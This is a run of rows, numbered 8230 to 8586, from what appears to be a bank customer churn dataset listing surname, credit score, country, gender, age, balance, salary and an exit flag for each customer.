+8230,15603550,Longo,588,Germany,Female,37,7,70258.88,2,1,0,139607.61,0 +8231,15755239,Maughan,758,Germany,Male,32,4,162657.64,2,1,1,115525.13,0 +8232,15670528,Franz,787,Germany,Male,43,0,132217.45,1,1,0,20955.03,1 +8233,15732704,Piazza,582,Spain,Male,25,9,148042.97,2,1,0,52341.15,0 +8234,15589019,Morant,633,Spain,Female,33,4,92855.02,1,1,1,159813.18,0 +8235,15677796,Becher,766,Germany,Male,47,9,129289.98,1,1,0,169935.46,1 +8236,15760177,Lombardi,564,Spain,Male,37,9,100252.18,1,1,1,146033.52,0 +8237,15636595,Loton,602,Spain,Male,37,3,107592.89,2,0,1,153122.73,0 +8238,15737275,Conti,649,France,Male,39,3,113096.41,1,1,1,60335.24,0 +8239,15672905,Sani,679,Spain,Female,40,7,0,2,1,1,163757.29,0 +8240,15753955,Lori,639,Spain,Male,34,7,149940.04,2,0,0,156648.81,0 +8241,15708504,Wong,790,Germany,Male,50,8,121438.58,1,1,1,176471.78,1 +8242,15592451,Lombardi,565,France,Male,32,9,0,2,1,0,5388.3,0 +8243,15790455,Obialo,478,France,Female,50,2,0,1,0,1,93332.64,1 +8244,15572174,Mazzi,825,France,Male,29,3,148874.01,2,0,1,71192.82,0 +8245,15656330,Von Doussa,528,Spain,Female,32,0,68138.37,1,1,1,170309.19,0 +8246,15569626,Miller,577,Spain,Male,35,5,110080.3,1,1,1,109794.31,0 +8247,15608726,Miracle,663,France,Male,24,7,0,2,1,1,166310.82,0 +8248,15637366,Su,505,Germany,Female,25,5,114268.85,2,1,1,126728.27,0 +8249,15778049,Wyatt,633,Germany,Male,29,6,117412.35,1,0,0,30338.94,0 +8250,15727421,Anayolisa,586,France,Female,38,6,0,2,1,1,37935.83,0 +8251,15688865,Wade,850,France,Female,35,9,0,2,0,0,25329.48,0 +8252,15751032,Enemuo,629,Germany,Female,37,1,35549.81,2,0,0,49676.33,0 +8253,15734737,Bruno,744,France,Male,56,9,0,2,1,1,169498.61,0 +8254,15746515,Greece,750,France,Male,36,7,136492.92,3,1,1,26500.29,1 +8255,15664311,Yang,637,Germany,Male,28,3,123675.69,1,1,1,166458.41,0 +8256,15708139,Brown,575,France,Female,40,1,139532.34,1,1,0,181294.39,0 +8257,15768574,Anderson,671,Spain,Male,58,1,178713.98,1,1,1,21768.21,0 +8258,15738018,Johnston,571,France,Male,40,5,0,2,0,0,72849.29,0 +8259,15699753,Zakharov,590,France,Male,41,1,89086.31,1,1,0,24499.97,0 +8260,15703199,Golibe,619,Spain,Male,38,3,96143.47,1,0,0,98994.92,0 +8261,15627830,Nikitina,640,Germany,Female,30,5,32197.64,1,0,1,141446.01,0 +8262,15570855,Leonard,670,France,Male,38,7,0,2,1,1,77864.41,0 +8263,15772503,Burns,737,France,Female,33,4,0,2,1,0,115115.32,0 +8264,15584453,Burtch,555,Spain,Male,32,10,0,2,0,1,168605.96,0 +8265,15710111,Clark,742,France,Male,33,6,0,2,0,0,38550.4,0 +8266,15618562,Woodward,618,Germany,Female,40,0,140306.38,1,1,0,160618.61,1 +8267,15706764,Spencer,560,France,Female,35,1,0,2,1,0,3701.63,0 +8268,15798737,Chao,654,France,Male,38,8,0,2,1,0,88659.44,0 +8269,15712608,Costa,787,Germany,Female,42,2,74483.97,2,0,1,44273.91,0 +8270,15636736,McLachlan,611,France,Female,53,7,0,2,0,1,156495.39,1 +8271,15703544,Hung,559,Spain,Male,34,0,0,1,1,0,182988.94,0 +8272,15815645,Akhtar,481,France,Male,37,8,152303.66,2,1,1,175082.2,0 +8273,15705739,Toscani,753,Germany,Male,32,5,159904.79,1,1,0,148811.14,0 +8274,15709643,Gray,675,France,Male,32,1,0,3,1,0,85901.09,0 +8275,15669805,Warren,748,Germany,Female,31,1,99557.94,1,1,0,199255.32,0 +8276,15737489,Ramsden,610,Spain,Female,46,5,116886.59,1,0,0,107973.44,0 +8277,15775131,Bartlett,580,Spain,Male,32,9,142188.2,2,0,1,128028.6,0 +8278,15765283,Wenz,624,Germany,Female,40,3,149961.99,2,1,0,104610.86,0 +8279,15628715,Kisch,709,France,Female,36,8,0,2,1,1,69676.55,0 +8280,15813283,Mai,605,France,Female,34,2,0,1,0,0,35982.42,0 +8281,15745716,McGregor,706,Spain,Male,53,7,0,2,0,1,117939.17,0 +8282,15598485,Pinto,567,Spain,Male,40,8,28649.64,1,1,1,95140.62,0 +8283,15696552,Newman,747,France,Female,21,4,81025.6,2,1,0,167682.57,0 +8284,15754569,Pagnotto,664,France,Male,57,1,0,2,1,1,56562.57,0 +8285,15701741,Williams,711,France,Female,39,3,152462.79,1,1,0,90305.97,0 +8286,15572631,Ndubuisi,609,France,Male,25,10,0,1,0,1,109895.16,0 +8287,15636069,Plummer,632,Spain,Male,28,7,155519.59,1,1,0,1843.24,0 +8288,15682467,Chimezie,725,France,Female,36,1,118851.05,1,1,1,102747.02,0 +8289,15790744,Nash,850,France,Female,34,9,92899.27,2,1,0,97465.89,0 +8290,15625023,Onochie,682,France,Male,40,4,0,1,0,1,105352.55,0 +8291,15731267,Rizzo,797,France,Male,37,4,75263.7,1,1,0,85801.77,0 +8292,15742879,Boni,668,Spain,Male,38,1,147904.31,1,1,1,69370.05,0 +8293,15757015,Davies,783,Germany,Female,41,5,106640.5,1,1,0,176945.96,0 +8294,15770711,Lu,766,Germany,Female,28,4,90696.78,1,0,1,21597.2,0 +8295,15569430,Burrows,704,Spain,Female,36,2,175509.8,2,1,0,152039.67,0 +8296,15617304,Ershova,722,France,Male,40,6,0,2,1,1,111893.09,0 +8297,15704466,Udokamma,692,France,Female,34,7,0,2,1,0,195074.62,0 +8298,15664681,Aitken,584,France,Female,35,2,114321.28,2,0,0,15959.01,0 +8299,15605534,Turnbull,644,Germany,Female,51,4,95560.04,1,0,0,72628.84,1 +8300,15792473,Reilly,598,Germany,Female,50,5,88379.81,3,0,1,64157.24,1 +8301,15802625,Hardy,733,Germany,Male,48,7,85915.52,1,1,1,23860.5,0 +8302,15766017,Brookman,615,Germany,Male,58,3,72309.3,1,1,1,85687.09,1 +8303,15762172,Kerr,850,France,Female,39,2,0,2,1,0,179451.42,0 +8304,15728333,McBurney,521,France,Male,43,8,0,1,1,1,93180.09,0 +8305,15792868,Mickey,675,France,Male,69,1,0,2,1,0,157097.09,0 +8306,15605698,Harrison,746,France,Male,58,3,0,3,1,1,80344.96,1 +8307,15777060,Olszewski,770,France,Female,33,4,0,1,1,0,26080.54,1 +8308,15626243,Chijioke,618,France,Male,30,3,133844.22,1,1,1,31406.93,0 +8309,15719898,Young,556,France,Male,36,7,154872.08,2,1,1,32044.64,0 +8310,15599976,Bellasis,749,France,Female,27,9,0,2,1,0,132734.87,0 +8311,15752809,De Mestre,702,Spain,Male,43,6,116121.67,1,1,0,61602.42,0 +8312,15589698,De Luca,555,Germany,Male,42,6,107104.5,1,1,1,41304.44,1 +8313,15609977,Mundy,587,France,Male,47,6,71026.77,1,1,0,57962.41,0 +8314,15750121,Tung,639,France,Male,38,3,0,1,1,0,42862.82,0 +8315,15734177,Donahue,643,France,Male,33,4,0,2,1,1,152992.04,0 +8316,15781347,Okagbue,600,France,Female,41,1,0,2,1,1,91193.65,0 +8317,15592025,Nnaemeka,651,France,Male,53,7,0,2,1,1,130132.41,0 +8318,15670163,Verjus,666,France,Female,27,4,0,2,0,0,88751.45,0 +8319,15765402,H?,520,France,Female,39,6,145644.05,1,0,0,104118.93,0 +8320,15624343,Napolitani,650,Spain,Female,50,7,129667.77,1,0,0,42028.16,0 +8321,15602354,Ginikanwa,564,Germany,Male,33,3,109341.87,1,1,0,75632.78,0 +8322,15579183,Spaull,586,France,Male,64,1,0,2,1,1,53710.23,0 +8323,15584899,Siciliani,617,France,Female,35,5,0,2,0,1,13066.3,0 +8324,15723658,Voronina,712,Spain,Female,30,6,0,2,1,0,152417.97,0 +8325,15803965,Tang,654,France,Male,55,3,87485.67,1,1,1,3299.01,0 +8326,15682489,Crumbley,605,France,Male,27,9,0,2,1,0,198091.81,0 +8327,15813645,Hamilton,491,France,Female,36,0,53369.13,1,1,1,103934.12,0 +8328,15766787,Piazza,707,France,Female,35,9,0,2,1,1,70403.65,0 +8329,15687171,Birch,638,Spain,Male,34,5,146679.77,1,1,0,102179.86,0 +8330,15690744,Custance,683,France,Male,43,2,112499.42,2,1,0,30375.18,0 +8331,15707974,Anayochukwu,815,Spain,Female,38,2,48387,1,1,0,184796.84,0 +8332,15673084,Galkin,645,Spain,Male,38,1,68079.8,1,0,1,166264.89,0 +8333,15814772,Adams,645,Germany,Male,49,4,160133.88,1,0,1,88391.97,0 +8334,15743709,Toomey,683,France,Male,30,4,66190.33,1,1,1,115186.97,0 +8335,15610343,Marshall-Hall,705,France,Female,37,10,0,2,1,1,13935.53,1 +8336,15737414,Shen,647,France,Male,35,4,123761.68,1,1,0,83910.4,0 +8337,15788480,Pagnotto,786,Germany,Female,33,0,122325.58,1,0,0,34712.34,1 +8338,15568519,Wood,534,France,Male,41,9,0,2,1,0,13871.34,0 +8339,15792453,More,602,Spain,Female,42,1,138912.17,1,1,1,139494.75,0 +8340,15658100,Piccio,695,France,Female,42,0,0,2,0,1,140724.64,0 +8341,15695197,Tochukwu,553,Germany,Female,25,7,128524.19,2,1,0,20682.46,0 +8342,15749807,Graham,516,Spain,Female,31,3,0,2,1,0,124202.26,0 +8343,15773876,Tung,655,France,Female,34,3,0,2,1,0,159638.77,0 +8344,15591698,P'eng,849,Germany,Female,49,9,132934.89,1,1,0,171056.65,1 +8345,15712813,Nevzorova,520,Germany,Male,43,3,150805.17,3,0,1,25333.03,1 +8346,15763898,Toscani,568,Spain,Female,46,3,0,2,1,1,29372.62,0 +8347,15793324,McKenzie,695,Spain,Male,32,9,0,3,0,1,38533.79,0 +8348,15757759,Okwuoma,807,Spain,Female,28,7,165969.26,3,1,0,156122.13,1 +8349,15796230,Morley,642,Germany,Female,36,2,124495.98,3,1,1,57904.22,1 +8350,15611729,Kerr,703,Germany,Male,39,1,141559.5,1,1,1,31257.1,1 +8351,15709531,Harding,556,France,Male,38,2,114756.14,1,1,0,193214.05,0 +8352,15650751,Butler,585,France,Female,30,6,0,2,1,1,137757.69,0 +8353,15641413,Crawford,587,Germany,Female,49,7,155393.98,2,1,0,13308.2,1 +8354,15753840,Brown,524,Spain,Female,32,6,0,1,1,1,132861.9,1 +8355,15669994,Greece,556,Germany,Female,31,1,128663.81,2,1,0,125083.29,0 +8356,15695301,Matthews,504,Spain,Male,44,4,113522.64,1,1,1,12405.2,0 +8357,15792004,Heath,731,Spain,Female,26,3,0,2,1,0,37697.29,0 +8358,15603035,Vincent,651,France,Male,34,3,0,2,1,1,105599.65,0 +8359,15717286,Sal,675,Spain,Female,40,8,79035.95,1,1,0,142783.98,1 +8360,15577107,Milne,657,Spain,Female,22,6,0,3,0,1,168412.07,1 +8361,15754747,Bazile,686,Germany,Male,33,9,141918.09,2,0,1,184036.47,0 +8362,15705676,Wardle,690,France,Female,35,9,107944.33,2,0,0,48478.47,0 +8363,15751912,Lilly,567,France,Male,36,7,0,2,0,1,3896.08,0 +8364,15677336,Aitken,557,Germany,Male,57,1,120043.13,1,1,0,132370.75,1 +8365,15684395,Enderby,446,Spain,Female,45,10,125191.69,1,1,1,128260.86,1 +8366,15659949,Chiu,850,France,Male,31,1,96399.31,2,1,0,106534.15,0 +8367,15812422,Ugorji,637,France,Male,41,2,0,2,0,1,102515.42,0 +8368,15806941,Sharpe,499,France,Male,60,7,76961.6,2,1,1,83643.87,0 +8369,15637690,Houghton,622,Germany,Female,34,7,98675.74,1,1,0,138906.85,1 +8370,15632882,Konovalova,684,Germany,Male,37,1,126817.13,2,1,1,29995.83,1 +8371,15807107,Patel,612,France,Male,32,3,121394.42,1,1,0,164081.42,0 +8372,15661034,Ngozichukwuka,813,Germany,Female,29,5,106059.4,1,0,0,187976.88,1 +8373,15811958,Medland,850,Germany,Male,44,2,112755.34,2,0,0,158171.36,0 +8374,15785167,Padovano,795,Spain,Male,29,4,0,2,0,0,155711.64,0 +8375,15646720,Tsui,628,Spain,Female,55,7,0,3,1,0,85890.75,1 +8376,15658614,H?,565,Germany,Female,38,7,145400.69,2,1,1,83844.79,0 +8377,15704657,Denman,601,France,Male,39,3,72647.64,1,1,0,41777.9,1 +8378,15567147,Ratten,802,Spain,Male,40,4,0,2,1,1,81908.09,0 +8379,15701319,Baxter,614,Germany,Female,37,6,96340.81,2,1,1,139377.24,1 +8380,15745266,Norman,434,Spain,Male,55,6,0,1,0,1,73562.05,1 +8381,15650437,Shen,522,Germany,Male,32,8,124450.36,2,1,1,165786.1,0 +8382,15764314,Reilly,550,Germany,Male,36,2,113877.23,2,1,0,174921.91,0 +8383,15612594,Ifeanacho,599,Spain,Male,25,3,0,2,1,1,120790.02,0 +8384,15593501,Graham,493,France,Female,36,5,148667.81,2,1,0,56092.51,0 +8385,15804150,Lysaght,755,France,Male,34,3,0,2,1,1,158816.03,0 +8386,15649297,T'ang,605,France,Female,62,4,111065.93,2,0,1,125660.99,0 +8387,15641110,Abron,708,France,Male,41,0,0,1,1,0,128400.62,0 +8388,15660608,Chimaraoke,699,France,Male,44,8,158697.61,1,1,0,107181.22,0 +8389,15806570,Y?an,763,France,Female,53,4,0,1,1,0,77203.72,1 +8390,15715345,Sergeyeva,743,Spain,Male,25,6,0,2,1,0,129740.11,0 +8391,15755521,Ma,660,France,Female,48,0,90044.32,2,0,1,187604.97,1 +8392,15579074,Obiajulu,619,Germany,Male,38,10,84651.79,1,1,1,184754.26,0 +8393,15641158,Belcher,739,Germany,Male,32,3,102128.27,1,1,0,63981.37,1 +8394,15752507,K?,769,Germany,Male,60,9,148846.39,1,1,0,192831.67,1 +8395,15597983,Brown,692,France,Male,69,10,154953.94,1,1,1,70849.47,0 +8396,15586069,Abernathy,560,France,Female,30,0,108883.29,1,1,0,27914.95,0 +8397,15655082,Pape,607,France,Female,48,4,112070.86,3,1,0,173568.3,1 +8398,15720155,Tao,630,Germany,Male,29,6,131354.39,1,0,1,9324.31,1 +8399,15582116,Ma,767,Germany,Female,45,7,132746.2,2,1,0,26628.88,1 +8400,15749365,Earle,543,France,Female,34,8,0,2,0,1,145601.8,0 +8401,15632069,Kazantsev,776,France,Male,39,8,125211.55,2,1,0,144496.07,0 +8402,15663134,Uspenskaya,535,Spain,Male,58,1,0,2,1,1,11779.98,1 +8403,15766683,Coombes,549,Germany,Male,36,6,139422.37,1,0,0,83983.39,1 +8404,15707219,Hopman,844,France,Female,28,4,0,2,0,1,123318.37,0 +8405,15709232,McKay,586,Germany,Female,47,5,157099.47,2,1,1,65481.86,0 +8406,15801351,Milanesi,583,France,Male,40,3,0,2,1,0,47728,0 +8407,15578747,Chineze,701,Spain,Male,26,5,83600.24,1,0,1,59195.05,0 +8408,15675626,Dawson,726,France,Male,28,2,0,1,0,0,98060.51,0 +8409,15583736,Shih,829,Germany,Male,36,4,81795.74,2,1,0,90106.94,0 +8410,15590011,Hughes,749,Spain,Male,38,9,129378.32,1,1,1,13549.34,0 +8411,15609913,Clark,743,France,Female,46,9,0,1,1,0,113436.08,0 +8412,15719479,Chukwuhaenye,619,Spain,Female,56,7,0,2,1,1,42442.21,0 +8413,15575147,Wall,699,France,Male,22,9,99339,1,1,0,68297.61,1 +8414,15597309,Howell,749,Spain,Male,36,7,0,2,0,0,80134.65,0 +8415,15648367,Lo,600,Germany,Female,29,6,74430.1,2,1,1,96051.1,0 +8416,15758031,Lazarev,760,Spain,Male,38,3,91241.85,1,0,1,80682.35,0 +8417,15751771,Lowe,528,Germany,Male,32,2,99092.45,1,0,1,111149.98,0 +8418,15689288,Folliero,630,France,Female,26,5,0,2,1,0,182612.38,0 +8419,15731026,Han,683,Germany,Female,39,2,100062.16,2,1,0,109201.43,0 +8420,15775809,Holloway,677,Germany,Female,26,6,98723.67,1,0,1,151146.67,0 +8421,15743076,Pai,669,Spain,Male,29,9,0,1,1,1,93901.61,0 +8422,15658258,Trejo,693,France,Male,43,6,128760.32,1,1,0,36342.79,0 +8423,15756321,Johnston,612,Spain,Female,52,5,144772.69,1,0,0,98302.57,1 +8424,15706799,Macknight,719,Spain,Male,44,4,0,1,0,0,84972.9,1 +8425,15775703,Lo,702,France,Male,26,2,71281.29,1,1,1,108747.12,1 +8426,15642636,Glossop,755,France,Male,29,9,117035.89,1,1,1,21862.19,0 +8427,15704651,Bishop,514,France,Male,26,1,0,2,0,0,121551.93,0 +8428,15806771,Yefremova,753,France,Female,40,0,3768.69,2,1,0,177065.24,1 +8429,15566735,Obialo,548,Germany,Female,36,2,108913.84,2,1,1,140460.01,0 +8430,15681671,Nkemjika,850,Germany,Male,28,2,101100.22,2,1,1,35337.31,0 +8431,15775949,Trevisani,612,France,Female,38,7,110615.47,1,1,1,193502.93,0 +8432,15586752,Parkes,628,Germany,Male,33,8,152143.89,1,1,1,32174.03,0 +8433,15582519,Seleznyov,479,France,Male,47,6,121797.09,1,0,1,5811.9,1 +8434,15658233,Naylor,724,France,Female,41,5,109798.25,1,0,1,149593.61,0 +8435,15755330,Forbes,512,Germany,Male,41,7,122403.24,1,0,1,37439.9,1 +8436,15605072,Douglas,638,France,Female,43,3,145860.98,1,1,1,142763.51,1 +8437,15617538,Nwankwo,834,Spain,Male,40,7,0,2,0,0,45038.74,0 +8438,15591428,Myers,781,France,Male,29,9,0,2,0,0,172097.4,0 +8439,15692142,Rogova,707,Germany,Female,48,7,105086.74,1,1,1,180344.69,1 +8440,15692931,Hsing,670,France,Male,22,2,114991.45,1,1,1,37392.56,0 +8441,15781127,Giordano,663,Spain,Female,33,8,96769.04,1,1,1,36864.05,0 +8442,15677136,Okwukwe,624,France,Female,23,5,0,2,0,0,132418.59,0 +8443,15677828,Chalmers,598,France,Female,34,4,0,2,0,0,60894.26,0 +8444,15567897,Chiazagomekpere,619,Germany,Male,23,5,132725.1,1,1,1,143913.33,0 +8445,15793641,Evseyev,792,France,Female,70,3,0,2,1,1,172240.27,0 +8446,15678333,Parry-Okeden,683,France,Female,26,7,0,2,1,0,86619.77,0 +8447,15630511,Picot,691,France,Female,33,6,0,2,1,0,164074.89,0 +8448,15792627,Reid,765,Spain,Female,33,5,84557.82,1,1,1,69039.43,0 +8449,15717191,Ferri,508,France,Male,49,1,93817.41,2,1,1,132468.76,1 +8450,15625716,Genovesi,637,France,Female,33,9,113913.53,1,0,1,65316.5,0 +8451,15710053,Neumayer,667,Germany,Female,44,5,140406.68,2,0,1,57164.19,0 +8452,15580043,Murray,575,Spain,Female,22,8,105229.34,1,1,1,34397.08,0 +8453,15601410,Tien,744,Spain,Female,46,1,0,3,1,1,177431.59,1 +8454,15684669,Parkes,567,France,Female,41,9,137891.35,1,1,0,142009.46,1 +8455,15619083,Yip,502,France,Female,35,6,0,2,1,1,80618.47,0 +8456,15692207,Ingle,609,France,Female,53,6,0,2,1,1,124218.27,0 +8457,15730705,Chidubem,715,France,Male,37,9,165252.52,1,1,0,85286.3,0 +8458,15749688,Lu,541,France,Male,32,8,0,2,0,0,40889.14,0 +8459,15728542,Vorobyova,850,France,Female,71,4,0,2,1,1,107236.87,0 +8460,15760063,Chiedozie,595,Spain,Male,23,7,0,2,1,1,168085.97,0 +8461,15658982,Napolitani,650,Germany,Female,28,5,122034.4,3,0,1,146663.43,1 +8462,15758769,Coffey,625,France,Female,44,7,0,1,1,0,4791.8,0 +8463,15778481,Chigbogu,817,France,Male,59,1,118962.58,1,1,1,120819.58,0 +8464,15661162,Akabueze,526,Spain,Male,49,2,0,1,1,0,114539.67,1 +8465,15568164,Istomin,850,France,Female,34,4,71379.53,2,1,1,154000.99,0 +8466,15601569,Ndubueze,598,France,Female,40,2,171178.25,1,1,0,137980.58,1 +8467,15772383,Toscani,613,France,Male,36,9,131307.11,1,0,0,83343.73,0 +8468,15667456,Ross,709,Spain,Male,62,3,0,2,1,1,82195.15,0 +8469,15672983,Fernando,678,Spain,Female,27,5,87099.85,2,1,0,149550.95,0 +8470,15799534,McClaran,720,France,Male,71,5,183135.39,2,1,1,197688.5,0 +8471,15582847,Yermakova,662,France,Male,26,0,0,2,0,1,72929.96,0 +8472,15612478,Somadina,525,France,Male,51,10,0,3,1,0,171045.35,1 +8473,15709621,Wan,662,France,Male,31,3,0,2,0,1,27731.05,0 +8474,15802009,Mazzi,770,France,Female,33,6,0,2,1,1,126131.9,0 +8475,15698816,Tuan,721,Spain,Female,33,4,72535.45,1,1,1,103931.49,0 +8476,15574830,Townsley,633,Germany,Male,58,2,128137.42,2,1,0,147635.33,1 +8477,15603082,Yashina,701,France,Male,51,9,0,2,0,0,61961.57,0 +8478,15685947,Henderson,556,Germany,Male,42,0,115915.53,2,0,1,125435.47,1 +8479,15643048,Mueller,639,France,Male,66,0,0,2,0,1,42240.54,0 +8480,15807568,Wright,632,France,Male,50,2,0,2,0,0,57942.88,0 +8481,15597591,Lung,456,France,Male,29,5,107000.49,1,1,1,153419.62,0 +8482,15747558,Bryant,729,Spain,Female,38,10,0,2,1,0,189727.12,0 +8483,15756655,Madukaife,632,France,Female,34,2,0,2,0,0,165385.55,0 +8484,15589949,Maclean,433,Spain,Male,34,9,152806.74,1,1,0,19687.99,0 +8485,15601012,Abdullah,802,France,Female,60,3,92887.06,1,1,0,39473.63,1 +8486,15724269,Yao,670,France,Male,25,7,0,2,1,1,144723.38,0 +8487,15567506,Cheatham,738,Germany,Female,40,6,114940.67,2,1,1,194895.57,1 +8488,15791877,Gallagher,706,Germany,Male,34,0,140641.26,2,1,1,77271.91,0 +8489,15794360,Hao,592,Germany,Female,70,5,71816.74,2,1,0,105096.82,1 +8490,15686538,Nixon,522,France,Female,41,7,0,2,0,1,176780.39,0 +8491,15585985,Wang,746,France,Male,48,5,165282.42,1,1,0,153786.46,1 +8492,15699257,Kerr,651,Spain,Male,42,2,143145.87,2,1,0,43612.06,0 +8493,15804104,Romani,494,France,Male,28,9,114731.76,2,0,1,79479.74,0 +8494,15727619,Lock,753,Germany,Female,46,9,113909.69,3,1,0,92320.37,1 +8495,15740237,Millar,671,Germany,Male,36,2,116695.27,1,0,0,193201.86,0 +8496,15801436,K'ung,696,France,Male,42,4,0,1,0,0,126353.13,1 +8497,15705735,Onyekachi,577,Spain,Male,43,3,0,2,1,1,135008.92,0 +8498,15649359,Somayina,587,France,Male,36,1,0,2,0,1,17135.6,0 +8499,15624892,Dennis,712,Germany,Male,37,7,93978.96,2,1,0,60651.77,0 +8500,15784918,Brown,498,Germany,Male,35,2,121968.11,2,0,1,188343.05,0 +8501,15584785,Ogochukwu,660,France,Male,37,2,97324.91,1,1,0,23291.83,0 +8502,15797197,Macleod,678,Spain,Male,29,6,0,2,1,0,64443.75,0 +8503,15574858,Page,530,France,Male,37,8,0,2,1,1,287.99,0 +8504,15794101,Barese,559,France,Female,48,2,0,2,0,1,137961.41,0 +8505,15743245,Agafonova,624,France,Male,42,3,145155.37,1,1,0,72169.95,1 +8506,15791535,Caraway,592,France,Male,28,5,137222.77,1,0,0,39608.58,0 +8507,15605215,Stevenson,767,France,Male,48,9,0,2,0,1,175458.21,0 +8508,15771749,Duncan,653,Germany,Female,38,5,114268.22,2,1,1,89524.83,0 +8509,15616833,Wang,678,Spain,Male,27,2,0,2,1,1,13221.25,0 +8510,15750728,Kaur,586,Spain,Female,42,2,0,1,1,0,102889.34,0 +8511,15769353,Jenkins,550,France,Female,40,8,150490.32,1,0,0,166468.21,1 +8512,15770091,Edwards,643,Germany,Male,28,9,160858.13,2,1,0,27149.27,0 +8513,15716420,Kelly,612,Spain,Male,39,5,170288.38,1,1,1,59601.15,0 +8514,15740602,Boyle,674,Germany,Female,27,4,111568.01,1,0,1,22026.18,0 +8515,15796071,Loane,657,Spain,Male,29,7,83889.03,1,1,0,153059.62,0 +8516,15811389,Padovano,724,Germany,Female,35,0,171982.95,2,0,1,167313.07,0 +8517,15783875,Li Fonti,500,France,Female,34,4,0,2,1,0,12833.96,0 +8518,15671800,Robinson,688,France,Male,20,8,137624.4,2,1,1,197582.79,0 +8519,15677288,Geach,599,France,Male,50,3,121159.65,1,0,0,4033.39,1 +8520,15633525,Payne,631,France,Male,29,7,0,2,0,1,125877.22,0 +8521,15634606,Chinonyelum,634,Spain,Male,52,1,0,2,1,1,176913.42,0 +8522,15579207,Watkins,545,France,Male,37,3,91184.01,1,1,0,105476.65,0 +8523,15619892,Page,644,Spain,Male,18,8,0,2,1,0,59172.42,0 +8524,15567778,Genovese,690,Germany,Female,54,1,144027.8,1,1,1,108731.02,1 +8525,15711750,Watson,711,France,Female,34,6,0,2,1,1,175310.38,0 +8526,15751084,Mancini,712,France,Female,29,8,140170.61,1,1,1,38170.04,0 +8527,15768945,Chibueze,627,France,Male,27,1,62092.9,1,1,1,105887.04,0 +8528,15586931,Hunter,694,Spain,Male,39,3,0,1,1,1,95625.03,0 +8529,15636353,Buchi,534,Spain,Male,35,4,0,2,0,0,9541.15,0 +8530,15623858,Charteris,603,France,Male,45,9,0,1,0,0,148516.79,0 +8531,15703354,Aksenov,808,France,Female,33,2,103516.87,1,1,0,113907.8,0 +8532,15663987,Wright,723,Spain,Male,30,1,0,3,1,0,164647.72,1 +8533,15780805,Lu,585,France,Female,35,2,0,2,1,0,98621.04,1 +8534,15768566,K?,706,France,Male,34,8,0,2,1,1,37479.97,0 +8535,15643229,Hou,671,France,Female,31,6,0,2,1,1,15846.42,0 +8536,15754940,Descoteaux,597,Spain,Male,43,2,85162.26,1,0,1,5104.08,1 +8537,15676576,Stephenson,646,France,Female,43,8,143061.88,1,1,0,61937.6,0 +8538,15800068,Cooper,801,Spain,Female,46,6,0,2,1,1,170008.74,0 +8539,15648030,Crump,731,Spain,Female,33,5,137388.01,2,1,0,165000.68,0 +8540,15668594,Diggs,620,Germany,Female,25,1,137712.01,1,1,1,76197.05,0 +8541,15728709,Shih,484,Germany,Male,40,7,106901.42,2,0,0,118045.98,0 +8542,15724181,Hudson,647,Spain,Male,47,5,105603.21,2,1,1,157360.9,0 +8543,15647546,Carvosso,688,Germany,Female,40,8,150679.71,2,0,1,196226.38,0 +8544,15702601,Wyatt,680,Germany,Male,30,4,108300.27,2,0,1,44384.57,1 +8545,15567725,Kodilinyechukwu,689,France,Female,46,7,52016.08,2,1,1,72993.65,0 +8546,15674179,Vorobyova,513,Germany,Male,34,7,60515.13,1,0,0,124571.09,0 +8547,15686957,Piccio,553,Germany,Male,35,2,158584.28,2,1,0,43640.16,0 +8548,15607690,Hsing,689,Germany,Male,47,2,118812.5,2,0,0,31121.42,0 +8549,15806546,Lucas,517,Spain,Male,46,4,0,1,1,0,22372.78,0 +8550,15632850,T'ang,731,France,Male,37,8,0,2,1,1,170338.35,0 +8551,15709016,North,687,Germany,Female,47,1,91219.29,1,0,0,158845.49,1 +8552,15638068,Thompson,507,Spain,Male,32,7,0,2,1,0,67926.18,0 +8553,15749345,Simpson,468,France,Female,22,1,76318.64,1,1,1,194783.12,0 +8554,15791321,Nwora,682,Spain,Female,58,4,0,1,1,0,176036.01,0 +8555,15699095,Chandler,603,France,Female,24,3,0,1,1,1,198826.03,1 +8556,15638329,Uspensky,522,Germany,Male,25,1,111432.13,1,1,1,168683.57,0 +8557,15575445,Ferguson,629,Spain,Male,41,10,150148.51,1,0,0,6936.27,0 +8558,15752622,Kerr,729,France,Female,32,7,38550.06,1,0,1,179230.23,0 +8559,15774507,Furneaux,574,France,Female,39,5,119013.86,1,1,0,103421.91,0 +8560,15570857,Kambinachi,677,Germany,Female,39,0,111213.64,2,1,1,147578.26,0 +8561,15599386,Black,627,Germany,Male,28,5,71097.23,1,1,1,130504.49,0 +8562,15744913,Chizoba,788,Spain,Male,36,10,109632.85,1,1,1,16149.13,0 +8563,15647292,Peng,697,France,Male,63,7,148368.02,1,0,0,118862.08,1 +8564,15728838,Leach,578,France,Male,45,1,148600.91,1,1,0,143397.14,1 +8565,15584704,Chiazagomekpele,519,France,Male,48,10,71083.98,1,1,0,137959,0 +8566,15749068,Nickson,632,France,Female,40,9,139625.34,1,1,0,93702.96,1 +8567,15622985,Lin,679,France,Female,39,4,0,1,0,0,172939.3,1 +8568,15587676,Alexeieva,699,France,Male,30,9,0,1,1,1,108162.13,0 +8569,15779496,Sykes,615,France,Male,64,0,81564.1,2,0,1,35896.09,0 +8570,15733460,Martin,622,Spain,Male,36,9,0,2,1,1,104852.6,0 +8571,15711457,Herz,755,France,Female,28,7,124540.28,1,0,1,188850.89,0 +8572,15795290,Nikitina,767,France,Female,42,2,133616.39,1,1,0,28615.8,0 +8573,15611223,Ko,752,Germany,Female,38,10,101648.5,2,1,0,172001.44,0 +8574,15794159,Highett,633,France,Female,26,8,124281.84,1,1,1,60116.57,0 +8575,15780677,Jackson,717,France,Female,59,4,0,2,1,1,170528.63,0 +8576,15690175,Ball,585,Spain,Male,45,0,0,2,0,0,189683.7,0 +8577,15722599,Nelson,751,France,Female,37,9,183613.66,2,0,0,49734.94,0 +8578,15569976,Woronoff,754,Germany,Male,65,1,136186.44,1,1,1,121529.59,1 +8579,15707011,Morrison,495,France,Male,47,10,137682.68,1,1,0,71071.47,0 +8580,15702277,Smith,650,France,Male,34,4,106005.54,1,0,1,142995.32,0 +8581,15801915,Rendall,529,France,Female,31,6,152310.55,1,1,0,13054.25,0 +8582,15580213,McIntyre,585,France,Female,43,2,0,2,1,0,89402.54,0 +8583,15637947,Wei,668,Spain,Male,32,1,134446.04,1,0,1,111241.37,0 +8584,15715888,Allardyce,591,France,Female,38,2,142289.28,1,0,1,119638.85,0 +8585,15732967,Cremonesi,731,France,Male,19,6,0,2,1,1,151581.79,0 +8586,15737047,Weatherford,754,France,Female,45,6,0,1,1,0,73881.68,1 